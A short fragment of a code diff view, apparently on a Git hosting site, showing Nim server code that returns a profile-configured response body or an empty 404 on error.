request.respond(200, body = cq.profile.getString("http-post.server.output.body"))
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
request.respond(404, body = "")
|
request.respond(404, body = "")
|
||||||
|
|||||||
Reference in New Issue
Block a user